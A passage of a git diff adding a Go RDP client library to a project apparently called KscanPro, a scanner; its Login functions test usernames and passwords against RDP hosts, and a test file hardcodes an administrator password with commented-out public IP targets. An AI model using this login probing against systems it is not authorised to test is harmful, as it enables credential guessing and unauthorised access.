+ return false
+ }
+
+ total = 1
+ onceBytes = processPlane(&input, width, height, output, 3)
+ total += onceBytes
+
+ onceBytes = processPlane(&input, width, height, output, 2)
+ total += onceBytes
+
+ onceBytes = processPlane(&input, width, height, output, 1)
+ total += onceBytes
+
+ onceBytes = processPlane(&input, width, height, output, 0)
+ total += onceBytes
+
+ return size == total
+}
+
+/* main decompress function */
+func Decompress(input []uint8, width, height int, Bpp int) []uint8 {
+ size := width * height * Bpp
+ output := make([]uint8, size)
+ switch Bpp {
+ case 1:
+ //decompress1(output, width, height, input, size)
+ case 2:
+ decompress2(&output, width, height, input, size)
+ case 3:
+ //decompress3(output, width, height, input, size)
+ case 4:
+ decompress4(&output, width, height, input, size)
+ default:
+ glog.Infof("Bpp %d\n", Bpp)
+ }
+
+ return output
+}
diff --git a/lib/grdp/core/rle_test.go b/lib/grdp/core/rle_test.go
new file mode 100644
index 0000000..192edfd
--- /dev/null
+++ b/lib/grdp/core/rle_test.go
@@ -0,0 +1,10 @@
+// rle_test.go
+package core
+
+//func TestSum() {
+// input := []byte{
+// 192, 44, 200, 8, 132, 200, 8, 200, 8, 200, 8, 200, 8, 0, 19, 132, 232, 8, 12, 50, 142, 66, 77, 58, 208, 59, 225, 25, 1, 0, 0, 0, 0, 0, 0, 0, 132, 139, 33, 142, 66, 142, 66, 142, 66, 208, 59, 4, 43, 1, 0, 0, 0, 0, 0, 0, 0, 132, 203, 41, 142, 66, 142, 66, 142, 66, 208, 59, 96, 0, 1, 0, 0, 0, 0, 0, 0, 0, 132, 9, 17, 142, 66, 142, 66, 142, 66, 208, 59, 230, 27, 1, 0, 0, 0, 0, 0, 0, 0, 132, 200, 8, 9, 17, 139, 33, 74, 25, 243, 133, 14, 200, 8, 132, 200, 8, 200, 8, 200, 8, 200, 8,
+// }
+// out := decompress(input, 64, 64, 2)
+// fmt.Println(out)
+//}
diff --git a/lib/grdp/core/socket.go b/lib/grdp/core/socket.go
new file mode 100644
index 0000000..31b2f86
--- /dev/null
+++ b/lib/grdp/core/socket.go
@@ -0,0 +1,75 @@
+package core
+
+import (
+ "crypto/rsa"
+ "math/big"
+
+ "github.com/huin/asn1ber"
+
+ //"crypto/tls"
+ "errors"
+ "net"
+
+ "github.com/icodeface/tls"
+)
+
+type SocketLayer struct {
+ conn net.Conn
+ tlsConn *tls.Conn
+}
+
+func NewSocketLayer(conn net.Conn) *SocketLayer {
+ l := &SocketLayer{
+ conn: conn,
+ tlsConn: nil,
+ }
+ return l
+}
+
+func (s *SocketLayer) Read(b []byte) (n int, err error) {
+ if s.tlsConn != nil {
+ return s.tlsConn.Read(b)
+ }
+ return s.conn.Read(b)
+}
+
+func (s *SocketLayer) Write(b []byte) (n int, err error) {
+ if s.tlsConn != nil {
+ return s.tlsConn.Write(b)
+ }
+ return s.conn.Write(b)
+}
+
+func (s *SocketLayer) Close() error {
+ if s.tlsConn != nil {
+ err := s.tlsConn.Close()
+ if err != nil {
+ return err
+ }
+ }
+ return s.conn.Close()
+}
+
+func (s *SocketLayer) StartTLS() error {
+ config := &tls.Config{
+ InsecureSkipVerify: true,
+ MinVersion: tls.VersionTLS10,
+ MaxVersion: tls.VersionTLS13,
+ PreferServerCipherSuites: true,
+ }
+ s.tlsConn = tls.Client(s.conn, config)
+ return s.tlsConn.Handshake()
+}
+
+type PublicKey struct {
+ N *big.Int `asn1:"explicit,tag:0"` // modulus
+ E int `asn1:"explicit,tag:1"` // public exponent
+}
+
+func (s *SocketLayer) TlsPubKey() ([]byte, error) {
+ if s.tlsConn == nil {
+ return nil, errors.New("TLS conn does not exist")
+ }
+ pub := s.tlsConn.ConnectionState().PeerCertificates[0].PublicKey.(*rsa.PublicKey)
+ return asn1ber.Marshal(*pub)
+}
diff --git a/lib/grdp/core/types.go b/lib/grdp/core/types.go
new file mode 100644
index 0000000..28dd806
--- /dev/null
+++ b/lib/grdp/core/types.go
@@ -0,0 +1,21 @@
+package core
+
+import "KscanPro/lib/grdp/emission"
+
+type Transport interface {
+ Read(b []byte) (n int, err error)
+ Write(b []byte) (n int, err error)
+ Close() error
+
+ On(event, listener interface{}) *emission.Emitter
+ Once(event, listener interface{}) *emission.Emitter
+ Emit(event interface{}, arguments ...interface{}) *emission.Emitter
+}
+
+type FastPathListener interface {
+ RecvFastPath(secFlag byte, s []byte)
+}
+
+type FastPathSender interface {
+ SendFastPath(secFlag byte, s []byte) (int, error)
+}
diff --git a/lib/grdp/core/util.go b/lib/grdp/core/util.go
new file mode 100644
index 0000000..fd0189e
--- /dev/null
+++ b/lib/grdp/core/util.go
@@ -0,0 +1,52 @@
+package core
+
+import (
+ "crypto/rand"
+ "encoding/binary"
+ "unicode/utf16"
+)
+
+func Reverse(s []byte) []byte {
+ for i, j := 0, len(s)-1; i < j; i, j = i+1, j-1 {
+ s[i], s[j] = s[j], s[i]
+ }
+ return s
+}
+
+func Random(n int) []byte {
+ const alpha = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
+ var bytes = make([]byte, n)
+ rand.Read(bytes)
+ for i, b := range bytes {
+ bytes[i] = alpha[b%byte(len(alpha))]
+ }
+ return bytes
+}
+
+func convertUTF16ToLittleEndianBytes(u []uint16) []byte {
+ b := make([]byte, 2*len(u))
+ for index, value := range u {
+ binary.LittleEndian.PutUint16(b[index*2:], value)
+ }
+ return b
+}
+
+// s.encode('utf-16le')
+func UnicodeEncode(p string) []byte {
+ return convertUTF16ToLittleEndianBytes(utf16.Encode([]rune(p)))
+}
+
+func UnicodeDecode(p []byte) string {
+ b := make([]byte, 2)
+ n := make([]uint16, 0, len(p)/2)
+ for i, v := range p {
+ if i%2 == 0 {
+ b[0] = v
+ } else {
+ b[1] = v
+ a := binary.LittleEndian.Uint16(b)
+ n = append(n, a)
+ }
+ }
+ return string(utf16.Decode(n))
+}
diff --git a/lib/grdp/emission/emitter.go b/lib/grdp/emission/emitter.go
new file mode 100644
index 0000000..0434fde
--- /dev/null
+++ b/lib/grdp/emission/emitter.go
@@ -0,0 +1,273 @@
+// Package emission provides an event emitter.
+// copy form https://raw.githubusercontent.com/chuckpreslar/emission/master/emitter.go
+// fix issue with nest once
+
+package emission
+
+import (
+ "errors"
+ "fmt"
+ "os"
+ "reflect"
+ "sync"
+)
+
+// Default number of maximum listeners for an event.
+const DefaultMaxListeners = 10
+
+// Error presented when an invalid argument is provided as a listener function
+var ErrNoneFunction = errors.New("Kind of Value for listener is not Func.")
+
+// RecoveryListener ...
+type RecoveryListener func(interface{}, interface{}, error)
+
+// Emitter ...
+type Emitter struct {
+ // Mutex to prevent race conditions within the Emitter.
+ *sync.Mutex
+ // Map of event to a slice of listener function's reflect Values.
+ events map[interface{}][]reflect.Value
+ // Optional RecoveryListener to call when a panic occurs.
+ recoverer RecoveryListener
+ // Maximum listeners for debugging potential memory leaks.
+ maxListeners int
+
+ // Map of event to a slice of listener function's reflect Values.
+ onces map[interface{}][]reflect.Value
+}
+
+// AddListener appends the listener argument to the event arguments slice
+// in the Emitter's events map. If the number of listeners for an event
+// is greater than the Emitter's maximum listeners then a warning is printed.
+// If the relect Value of the listener does not have a Kind of Func then
+// AddListener panics. If a RecoveryListener has been set then it is called
+// recovering from the panic.
+func (emitter *Emitter) AddListener(event, listener interface{}) *Emitter {
+ emitter.Lock()
+ defer emitter.Unlock()
+
+ fn := reflect.ValueOf(listener)
+
+ if reflect.Func != fn.Kind() {
+ if nil == emitter.recoverer {
+ panic(ErrNoneFunction)
+ } else {
+ emitter.recoverer(event, listener, ErrNoneFunction)
+ }
+ }
+
+ if emitter.maxListeners != -1 && emitter.maxListeners < len(emitter.events[event])+1 {
+ fmt.Fprintf(os.Stdout, "Warning: event `%v` has exceeded the maximum "+
+ "number of listeners of %d.\n", event, emitter.maxListeners)
+ }
+
+ emitter.events[event] = append(emitter.events[event], fn)
+
+ return emitter
+}
+
+// On is an alias for AddListener.
+func (emitter *Emitter) On(event, listener interface{}) *Emitter {
+ return emitter.AddListener(event, listener)
+}
+
+// RemoveListener removes the listener argument from the event arguments slice
+// in the Emitter's events map. If the reflect Value of the listener does not
+// have a Kind of Func then RemoveListener panics. If a RecoveryListener has
+// been set then it is called after recovering from the panic.
+func (emitter *Emitter) RemoveListener(event, listener interface{}) *Emitter {
+ emitter.Lock()
+ defer emitter.Unlock()
+
+ fn := reflect.ValueOf(listener)
+
+ if reflect.Func != fn.Kind() {
+ if nil == emitter.recoverer {
+ panic(ErrNoneFunction)
+ } else {
+ emitter.recoverer(event, listener, ErrNoneFunction)
+ }
+ }
+
+ if events, ok := emitter.events[event]; ok {
+ newEvents := []reflect.Value{}
+
+ for _, listener := range events {
+ if fn.Pointer() != listener.Pointer() {
+ newEvents = append(newEvents, listener)
+ }
+ }
+
+ emitter.events[event] = newEvents
+ }
+
+ if events, ok := emitter.onces[event]; ok {
+ newEvents := []reflect.Value{}
+
+ for _, listener := range events {
+ if fn.Pointer() != listener.Pointer() {
+ newEvents = append(newEvents, listener)
+ }
+ }
+
+ emitter.onces[event] = newEvents
+ }
+
+ return emitter
+}
+
+// Off is an alias for RemoveListener.
+func (emitter *Emitter) Off(event, listener interface{}) *Emitter {
+ return emitter.RemoveListener(event, listener)
+}
+
+// Once generates a new function which invokes the supplied listener
+// only once before removing itself from the event's listener slice
+// in the Emitter's events map. If the reflect Value of the listener
+// does not have a Kind of Func then Once panics. If a RecoveryListener
+// has been set then it is called after recovering from the panic.
+func (emitter *Emitter) Once(event, listener interface{}) *Emitter {
+ emitter.Lock()
+ defer emitter.Unlock()
+
+ fn := reflect.ValueOf(listener)
+
+ if reflect.Func != fn.Kind() {
+ if nil == emitter.recoverer {
+ panic(ErrNoneFunction)
+ } else {
+ emitter.recoverer(event, listener, ErrNoneFunction)
+ }
+ }
+
+ if emitter.maxListeners != -1 && emitter.maxListeners < len(emitter.onces[event])+1 {
+ fmt.Fprintf(os.Stdout, "Warning: event `%v` has exceeded the maximum "+
+ "number of listeners of %d.\n", event, emitter.maxListeners)
+ }
+
+ emitter.onces[event] = append(emitter.onces[event], fn)
+ return emitter
+}
+
+// Emit attempts to use the reflect package to Call each listener stored
+// in the Emitter's events map with the supplied arguments. Each listener
+// is called within its own go routine. The reflect package will panic if
+// the agruments supplied do not align the parameters of a listener function.
+// If a RecoveryListener has been set then it is called after recovering from
+// the panic.
+func (emitter *Emitter) Emit(event interface{}, arguments ...interface{}) *Emitter {
+ var (
+ listeners []reflect.Value
+ ok bool
+ )
+
+ // Lock the mutex when reading from the Emitter's
+ // events map.
+ emitter.Lock()
+
+ if listeners, ok = emitter.events[event]; !ok {
+ // If the Emitter does not include the event in its
+ // event map, it has no listeners to Call yet.
+ emitter.Unlock()
+ goto ONCES
+ }
+
+ // Unlock the mutex immediately following the read
+ // instead of deferring so that listeners registered
+ // with Once can aquire the mutex for removal.
+ emitter.Unlock()
+ emitter.callListeners(listeners, event, arguments...)
+
+ONCES:
+ // execute onces
+ emitter.Lock()
+ if listeners, ok = emitter.onces[event]; !ok {
+ emitter.Unlock()
+ return emitter
+ }
+ emitter.Unlock()
+ emitter.callListeners(listeners, event, arguments...)
+ // clear executed listeners
+ emitter.onces[event] = emitter.onces[event][len(listeners):]
+ return emitter
+}
+
+func (emitter *Emitter) callListeners(listeners []reflect.Value, event interface{}, arguments ...interface{}) {
+ var wg sync.WaitGroup
+
+ wg.Add(len(listeners))
+
+ for _, fn := range listeners {
+ go func(fn reflect.Value) {
+ defer wg.Done()
+
+ // Recover from potential panics, supplying them to a
+ // RecoveryListener if one has been set, else allowing
+ // the panic to occur.
+ if nil != emitter.recoverer {
+ defer func() {
+ if r := recover(); nil != r {
+ err := fmt.Errorf("%v", r)
+ emitter.recoverer(event, fn.Interface(), err)
+ }
+ }()
+ }
+
+ var values []reflect.Value
+
+ for i := 0; i < len(arguments); i++ {
+ if arguments[i] == nil {
+ values = append(values, reflect.New(fn.Type().In(i)).Elem())
+ } else {
+ values = append(values, reflect.ValueOf(arguments[i]))
+ }
+ }
+
+ fn.Call(values)
+ }(fn)
+ }
+
+ wg.Wait()
+}
+
+// RecoverWith sets the listener to call when a panic occurs, recovering from
+// panics and attempting to keep the application from crashing.
+func (emitter *Emitter) RecoverWith(listener RecoveryListener) *Emitter {
+ emitter.recoverer = listener
+ return emitter
+}
+
+// SetMaxListeners sets the maximum number of listeners per
+// event for the Emitter. If -1 is passed as the maximum,
+// all events may have unlimited listeners. By default, each
+// event can have a maximum number of 10 listeners which is
+// useful for finding memory leaks.
+func (emitter *Emitter) SetMaxListeners(max int) *Emitter {
+ emitter.Lock()
+ defer emitter.Unlock()
+
+ emitter.maxListeners = max
+ return emitter
+}
+
+// GetListenerCount gets count of listeners for a given event.
+func (emitter *Emitter) GetListenerCount(event interface{}) (count int) {
+ emitter.Lock()
+ if listeners, ok := emitter.events[event]; ok {
+ count = len(listeners)
+ }
+ emitter.Unlock()
+ return
+}
+
+// NewEmitter returns a new Emitter object, defaulting the
+// number of maximum listeners per event to the DefaultMaxListeners
+// constant and initializing its events map.
+func NewEmitter() (emitter *Emitter) {
+ emitter = new(Emitter)
+ emitter.Mutex = new(sync.Mutex)
+ emitter.events = make(map[interface{}][]reflect.Value)
+ emitter.maxListeners = DefaultMaxListeners
+ emitter.onces = make(map[interface{}][]reflect.Value)
+ return
+}
diff --git a/lib/grdp/glog/log.go b/lib/grdp/glog/log.go
new file mode 100644
index 0000000..2161b21
--- /dev/null
+++ b/lib/grdp/glog/log.go
@@ -0,0 +1,107 @@
+package glog
+
+import (
+ "fmt"
+ "log"
+ "sync"
+)
+
+func init() {
+
+}
+
+var (
+ logger *log.Logger
+ level LEVEL
+ mu sync.Mutex
+)
+
+type LEVEL int
+
+const (
+ DEBUG LEVEL = iota
+ INFO
+ WARN
+ ERROR
+ NONE
+)
+
+func SetLogger(l *log.Logger) {
+ l.SetFlags(log.Ldate | log.Ltime | log.Lshortfile)
+ logger = l
+}
+
+func SetLevel(l LEVEL) {
+ level = l
+}
+
+func checkLogger() {
+ if logger == nil && level != NONE {
+ panic("logger not inited")
+ }
+}
+
+func Debug(v ...interface{}) {
+ checkLogger()
+ if level <= DEBUG {
+ mu.Lock()
+ defer mu.Unlock()
+ logger.SetPrefix("[DEBUG]")
+ logger.Output(2, fmt.Sprintln(v...))
+ }
+}
+func Debugf(f string, v ...interface{}) {
+ checkLogger()
+ if level <= DEBUG {
+ mu.Lock()
+ defer mu.Unlock()
+ logger.SetPrefix("[DEBUG]")
+ logger.Output(2, fmt.Sprintln(fmt.Sprintf(f, v...)))
+ }
+}
+func Info(v ...interface{}) {
+ checkLogger()
+ if level <= INFO {
+ mu.Lock()
+ defer mu.Unlock()
+ logger.SetPrefix("[INFO]")
+ logger.Output(2, fmt.Sprintln(v...))
+ }
+}
+func Infof(f string, v ...interface{}) {
+ checkLogger()
+ if level <= INFO {
+ mu.Lock()
+ defer mu.Unlock()
+ logger.SetPrefix("[INFO]")
+ logger.Output(2, fmt.Sprintln(fmt.Sprintf(f, v...)))
+ }
+}
+func Warn(v ...interface{}) {
+ checkLogger()
+ if level <= WARN {
+ mu.Lock()
+ defer mu.Unlock()
+ logger.SetPrefix("[WARN]")
+ logger.Output(2, fmt.Sprintln(v...))
+ }
+}
+
+func Error(v ...interface{}) {
+ checkLogger()
+ if level <= ERROR {
+ mu.Lock()
+ defer mu.Unlock()
+ logger.SetPrefix("[ERROR]")
+ logger.Output(2, fmt.Sprintln(v...))
+ }
+}
+func Errorf(f string, v ...interface{}) {
+ checkLogger()
+ if level <= ERROR {
+ mu.Lock()
+ defer mu.Unlock()
+ logger.SetPrefix("[ERROR]")
+ logger.Output(2, fmt.Sprintln(fmt.Sprintf(f, v...)))
+ }
+}
diff --git a/lib/grdp/grdp.go b/lib/grdp/grdp.go
new file mode 100644
index 0000000..f6c2316
--- /dev/null
+++ b/lib/grdp/grdp.go
@@ -0,0 +1,241 @@
+package grdp
+
+import (
+ "errors"
+ "fmt"
+ "log"
+ "net"
+ "os"
+ "sync"
+ "time"
+
+ "KscanPro/lib/grdp/core"
+ "KscanPro/lib/grdp/glog"
+ "KscanPro/lib/grdp/protocol/nla"
+ "KscanPro/lib/grdp/protocol/pdu"
+ "KscanPro/lib/grdp/protocol/rfb"
+ "KscanPro/lib/grdp/protocol/sec"
+ "KscanPro/lib/grdp/protocol/t125"
+ "KscanPro/lib/grdp/protocol/tpkt"
+ "KscanPro/lib/grdp/protocol/x224"
+)
+
+const (
+ PROTOCOL_RDP = "PROTOCOL_RDP"
+ PROTOCOL_SSL = "PROTOCOL_SSL"
+)
+
+type Client struct {
+ Host string // ip:port
+ tpkt *tpkt.TPKT
+ x224 *x224.X224
+ mcs *t125.MCSClient
+ sec *sec.Client
+ pdu *pdu.Client
+ vnc *rfb.RFB
+}
+
+func NewClient(host string, logLevel glog.LEVEL) *Client {
+ glog.SetLevel(logLevel)
+ logger := log.New(os.Stdout, "", 0)
+ glog.SetLogger(logger)
+ return &Client{
+ Host: host,
+ }
+}
+
+func (g *Client) loginForSSL(domain, user, pwd string) error {
+ conn, err := net.DialTimeout("tcp", g.Host, 3*time.Second)
+ if err != nil {
+ return fmt.Errorf("[dial err] %v", err)
+ }
+ defer conn.Close()
+ glog.Info(conn.LocalAddr().String())
+
+ g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
+ g.x224 = x224.New(g.tpkt)
+ g.mcs = t125.NewMCSClient(g.x224)
+ g.sec = sec.NewClient(g.mcs)
+ g.pdu = pdu.NewClient(g.sec)
+
+ g.sec.SetUser(user)
+ g.sec.SetPwd(pwd)
+ g.sec.SetDomain(domain)
+
+ g.tpkt.SetFastPathListener(g.sec)
+ g.sec.SetFastPathListener(g.pdu)
+ g.pdu.SetFastPathSender(g.tpkt)
+
+ err = g.x224.Connect()
+ if err != nil {
+ return fmt.Errorf("[x224 connect err] %v", err)
+ }
+ glog.Info("wait connect ok")
+ wg := &sync.WaitGroup{}
+ breakFlag := false
+ wg.Add(1)
+
+ g.pdu.On("error", func(e error) {
+ err = e
+ glog.Error("error", e)
+ g.pdu.Emit("done")
+ })
+ g.pdu.On("close", func() {
+ err = errors.New("close")
+ glog.Info("on close")
+ g.pdu.Emit("done")
+ })
+ g.pdu.On("success", func() {
+ err = nil
+ glog.Info("on success")
+ g.pdu.Emit("done")
+ })
+ g.pdu.On("ready", func() {
+ glog.Info("on ready")
+ g.pdu.Emit("done")
+ })
+ g.pdu.On("update", func(rectangles []pdu.BitmapData) {
+ glog.Info("on update:", rectangles)
+ })
+ g.pdu.On("done", func() {
+ if breakFlag == false {
+ breakFlag = true
+ wg.Done()
+ }
+ })
+ wg.Wait()
+ return err
+}
+
+func (g *Client) loginForRDP(domain, user, pwd string) error {
+ conn, err := net.DialTimeout("tcp", g.Host, 3*time.Second)
+ if err != nil {
+ return fmt.Errorf("[dial err] %v", err)
+ }
+ defer conn.Close()
+ glog.Info(conn.LocalAddr().String())
+
+ g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
+ g.x224 = x224.New(g.tpkt)
+ g.mcs = t125.NewMCSClient(g.x224)
+ g.sec = sec.NewClient(g.mcs)
+ g.pdu = pdu.NewClient(g.sec)
+
+ g.sec.SetUser(user)
+ g.sec.SetPwd(pwd)
+ g.sec.SetDomain(domain)
+
+ g.tpkt.SetFastPathListener(g.sec)
+ g.sec.SetFastPathListener(g.pdu)
+ g.pdu.SetFastPathSender(g.tpkt)
+
+ g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP)
+
+ err = g.x224.Connect()
+ if err != nil {
+ return fmt.Errorf("[x224 connect err] %v", err)
+ }
+ glog.Info("wait connect ok")
+ wg := &sync.WaitGroup{}
+ breakFlag := false
+ updateCount := 0
+ wg.Add(1)
+
+ g.pdu.On("error", func(e error) {
+ err = e
+ glog.Error("error", e)
+ g.pdu.Emit("done")
+ })
+ g.pdu.On("close", func() {
+ err = errors.New("close")
+ glog.Info("on close")
+ g.pdu.Emit("done")
+ })
+ g.pdu.On("success", func() {
+ err = nil
+ glog.Info("on success")
+ g.pdu.Emit("done")
+ })
+ g.pdu.On("ready", func() {
+ glog.Info("on ready")
+ })
+ g.pdu.On("update", func(rectangles []pdu.BitmapData) {
+ glog.Info("on update:", rectangles)
+ updateCount += 1
+ //fmt.Println(updateCount," ",rectangles[0].BitmapLength)
+ })
+ g.pdu.On("done", func() {
+ if breakFlag == false {
+ breakFlag = true
+ wg.Done()
+ }
+ })
+
+ //wait 2 Second
+ time.Sleep(time.Second * 3)
+ if breakFlag == false {
+ breakFlag = true
+ wg.Done()
+ }
+ wg.Wait()
+
+ if updateCount > 50 {
+ return nil
+ }
+ err = errors.New("login failed")
+ return err
+}
+
+func Login(target, domain, username, password string) error {
+ var err error
+ g := NewClient(target, glog.NONE)
+ //SSL协议登录测试
+ err = g.loginForSSL(domain, username, password)
+ if err == nil {
+ return nil
+ }
+ if err.Error() != PROTOCOL_RDP {
+ return err
+ }
+ //RDP协议登录测试
+ err = g.loginForRDP(domain, username, password)
+ if err == nil {
+ return nil
+ } else {
+ return err
+ }
+}
+
+func LoginForSSL(target, domain, username, password string) error {
+ var err error
+ g := NewClient(target, glog.NONE)
+ //SSL协议登录测试
+ err = g.loginForSSL(domain, username, password)
+ if err == nil {
+ return nil
+ }
+ return err
+}
+
+func LoginForRDP(target, domain, username, password string) error {
+ var err error
+ g := NewClient(target, glog.NONE)
+ //SSL协议登录测试
+ err = g.loginForRDP(domain, username, password)
+ if err == nil {
+ return nil
+ }
+ return err
+}
+
+func VerifyProtocol(target string) string {
+ var err error
+ err = LoginForSSL(target, "", "administrator", "test")
+ if err == nil {
+ return PROTOCOL_SSL
+ }
+ if err.Error() != PROTOCOL_RDP {
+ return PROTOCOL_SSL
+ }
+ return PROTOCOL_RDP
+}
diff --git a/lib/grdp/grdp_test.go b/lib/grdp/grdp_test.go
new file mode 100644
index 0000000..e662c78
--- /dev/null
+++ b/lib/grdp/grdp_test.go
@@ -0,0 +1,47 @@
+package grdp
+
+import (
+ "KscanPro/lib/grdp/glog"
+ "fmt"
+ "testing"
+)
+
+func testrdp(target string) {
+ domain := ""
+ username := "administrator"
+ password := "zaq1@WSX"
+ //target = "180.102.17.30:3389"
+ var err error
+ g := NewClient(target, glog.NONE)
+ //SSL协议登录测试
+ err = g.loginForSSL(domain, username, password)
+ if err == nil {
+ fmt.Println("Login Success")
+ return
+ }
+ if err.Error() != "PROTOCOL_RDP" {
+ fmt.Println("Login Error:", err)
+ return
+ }
+ //RDP协议登录测试
+ err = g.loginForRDP(domain, username, password)
+ if err == nil {
+ fmt.Println("Login Success")
+ return
+ } else {
+ fmt.Println("Login Error:", err)
+ return
+ }
+}
+
+func TestName(t *testing.T) {
+ targetArr := []string{
+ //"50.57.49.172:3389",
+ //"20.49.22.250:3389",
+ "192.168.217.166:3389",
+ }
+ for _, target := range targetArr {
+ fmt.Println(target)
+ testrdp(target)
+ }
+}
diff --git a/lib/grdp/protocol/lic/lic.go b/lib/grdp/protocol/lic/lic.go
new file mode 100644
index 0000000..f0dd25c
--- /dev/null
+++ b/lib/grdp/protocol/lic/lic.go
@@ -0,0 +1,183 @@
+package lic
+
+import (
+ "io"
+
+ "KscanPro/lib/grdp/core"
+)
+
+const (
+ LICENSE_REQUEST = 0x01
+ PLATFORM_CHALLENGE = 0x02
+ NEW_LICENSE = 0x03
+ UPGRADE_LICENSE = 0x04
+ LICENSE_INFO = 0x12
+ NEW_LICENSE_REQUEST = 0x13
+ PLATFORM_CHALLENGE_RESPONSE = 0x15
+ ERROR_ALERT = 0xFF
+)
+
+// error code
+const (
+ ERR_INVALID_SERVER_CERTIFICATE = 0x00000001
+ ERR_NO_LICENSE = 0x00000002
+ ERR_INVALID_SCOPE = 0x00000004
+ ERR_NO_LICENSE_SERVER = 0x00000006
+ STATUS_VALID_CLIENT = 0x00000007
+ ERR_INVALID_CLIENT = 0x00000008
+ ERR_INVALID_PRODUCTID = 0x0000000B
+ ERR_INVALID_MESSAGE_LEN = 0x0000000C
+ ERR_INVALID_MAC = 0x00000003
+)
+
+// state transition
+const (
+ ST_TOTAL_ABORT = 0x00000001
+ ST_NO_TRANSITION = 0x00000002
+ ST_RESET_PHASE_TO_START = 0x00000003
+ ST_RESEND_LAST_MESSAGE = 0x00000004
+)
+
+/*
+"""
+@summary: Binary blob data type
+@see: http://msdn.microsoft.com/en-us/library/cc240481.aspx
+"""
+*/
+type BinaryBlobType uint16
+
+const (
+ BB_ANY_BLOB = 0x0000
+ BB_DATA_BLOB = 0x0001
+ BB_RANDOM_BLOB = 0x0002
+ BB_CERTIFICATE_BLOB = 0x0003
+ BB_ERROR_BLOB = 0x0004
+ BB_ENCRYPTED_DATA_BLOB = 0x0009
+ BB_KEY_EXCHG_ALG_BLOB = 0x000D
+ BB_SCOPE_BLOB = 0x000E
+ BB_CLIENT_USER_NAME_BLOB = 0x000F
+ BB_CLIENT_MACHINE_NAME_BLOB = 0x0010
+)
+
+type ErrorMessage struct {
+ DwErrorCode uint32
+ DwStateTransaction uint32
+ Blob []byte
+}
+
+func readErrorMessage(r io.Reader) *ErrorMessage {
+ m := &ErrorMessage{}
+ m.DwErrorCode, _ = core.ReadUInt32LE(r)
+ m.DwStateTransaction, _ = core.ReadUInt32LE(r)
+ return m
+}
+
+type LicensePacket struct {
+ BMsgtype uint8
+ Flag uint8
+ WMsgSize uint16
+ LicensingMessage interface{}
+}
+
+func ReadLicensePacket(r io.Reader) *LicensePacket {
+ l := &LicensePacket{}
+ l.BMsgtype, _ = core.ReadUInt8(r)
+ l.Flag, _ = core.ReadUInt8(r)
+ l.WMsgSize, _ = core.ReadUint16LE(r)
+
+ switch l.BMsgtype {
+ case ERROR_ALERT:
+ l.LicensingMessage = readErrorMessage(r)
+ default:
+ l.LicensingMessage, _ = core.ReadBytes(int(l.WMsgSize-4), r)
+ }
+
+ return l
+}
+
+/*
+"""
+@summary: Blob use by license manager to exchange security data
+@see: http://msdn.microsoft.com/en-us/library/cc240481.aspx
+"""
+*/
+type LicenseBinaryBlob struct {
+ WBlobType uint16 `struc:"little"`
+ WBlobLen uint16 `struc:"little"`
+ BlobData []byte `struc:"sizefrom=WBlobLen"`
+}
+
+func NewLicenseBinaryBlob(WBlobType uint16) *LicenseBinaryBlob {
+ return &LicenseBinaryBlob{}
+}
+
+/*
+"""
+@summary: License server product information
+@see: http://msdn.microsoft.com/en-us/library/cc241915.aspx
+"""
+*/
+type ProductInformation struct {
+ DwVersion uint32 `struc:"little"`
+ CbCompanyName uint32 `struc:"little"`
+ //may contain "Microsoft Corporation" from server microsoft
+ PbCompanyName []byte `struc:"sizefrom=CbCompanyName"`
+ CbProductId uint32 `struc:"little"`
+ //may contain "A02" from microsoft license server
+ PbProductId []byte `struc:"sizefrom=CbProductId"`
+}
+
+/*
+@summary: Send by server to signal license request
+
+ server -> client
+
+@see: http://msdn.microsoft.com/en-us/library/cc241914.aspx
+*/
+type ServerLicenseRequest struct {
+ ServerRandom []byte `struc:"[32]byte"`
+ ProductInfo ProductInformation `struc:"little"`
+ KeyExchangeList LicenseBinaryBlob `struc:"little"`
+ ServerCertificate LicenseBinaryBlob `struc:"little"`
+ //ScopeList ScopeList
+}
+
+/*
+@summary: Send by client to ask new license for client.
+ RDPY doesn'support license reuse, need it in futur version
+@see: http://msdn.microsoft.com/en-us/library/cc241918.aspx
+ #RSA and must be only RSA
+ #pure microsoft client ;-)
+ #http://msdn.microsoft.com/en-us/library/1040af38-c733-4fb3-acd1-8db8cc979eda#id10
+*/
+
+type ClientNewLicenseRequest struct {
+ PreferredKeyExchangeAlg uint32 `struc:"little"`
+ PlatformId uint32 `struc:"little"`
+ ClientRandom []byte `struc:"little"`
+ EncryptedPreMasterSecret LicenseBinaryBlob `struc:"little"`
+ ClientUserName LicenseBinaryBlob `struc:"little"`
+ ClientMachineName LicenseBinaryBlob `struc:"little"`
+}
+
+/*
+@summary: challenge send from server to client
+@see: http://msdn.microsoft.com/en-us/library/cc241921.aspx
+*/
+type ServerPlatformChallenge struct {
+ ConnectFlags uint32
+ EncryptedPlatformChallenge LicenseBinaryBlob
+ MACData [16]byte
+}
+
+/*
+"""
+@summary: client challenge response
+@see: http://msdn.microsoft.com/en-us/library/cc241922.aspx
+"""
+*/
+type ClientPLatformChallengeResponse struct {
+ EncryptedPlatformChallengeResponse LicenseBinaryBlob
+ EncryptedHWID LicenseBinaryBlob
+ MACData []byte //[16]byte
+}
diff --git a/lib/grdp/protocol/nla/cssp.go b/lib/grdp/protocol/nla/cssp.go
new file mode 100644
index 0000000..054b09c
--- /dev/null
+++ b/lib/grdp/protocol/nla/cssp.go
@@ -0,0 +1,99 @@
+package nla
+
+import (
+ "encoding/asn1"
+
+ "KscanPro/lib/grdp/glog"
+)
+
+type NegoToken struct {
+ Data []byte `asn1:"explicit,tag:0"`
+}
+
+type TSRequest struct {
+ Version int `asn1:"explicit,tag:0"`
+ NegoTokens []NegoToken `asn1:"optional,explicit,tag:1"`
+ AuthInfo []byte `asn1:"optional,explicit,tag:2"`
+ PubKeyAuth []byte `asn1:"optional,explicit,tag:3"`
+ //ErrorCode int `asn1:"optional,explicit,tag:4"`
+}
+
+type TSCredentials struct {
+ CredType int `asn1:"explicit,tag:0"`
+ Credentials []byte `asn1:"explicit,tag:1"`
+}
+
+type TSPasswordCreds struct {
+ DomainName []byte `asn1:"explicit,tag:0"`
+ UserName []byte `asn1:"explicit,tag:1"`
+ Password []byte `asn1:"explicit,tag:2"`
+}
+
+type TSCspDataDetail struct {
+ KeySpec int `asn1:"explicit,tag:0"`
+ CardName string `asn1:"explicit,tag:1"`
